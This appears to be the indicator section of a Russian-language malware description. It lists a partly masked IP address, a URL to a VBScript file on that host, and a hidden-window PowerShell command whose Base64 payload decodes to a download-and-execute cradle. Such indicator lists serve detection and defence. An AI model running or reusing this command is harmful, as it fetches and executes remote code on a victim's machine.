Техническая информация
- '21#.#92.219.52':80
- http://21#.#92.219.52/no.vbs
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -w 1 -c "iex([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('aWV4KChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5Eb3dubG9hZFN0cmluZygoKCdodHRwOi8nKycvITEh... (со скрытым окном)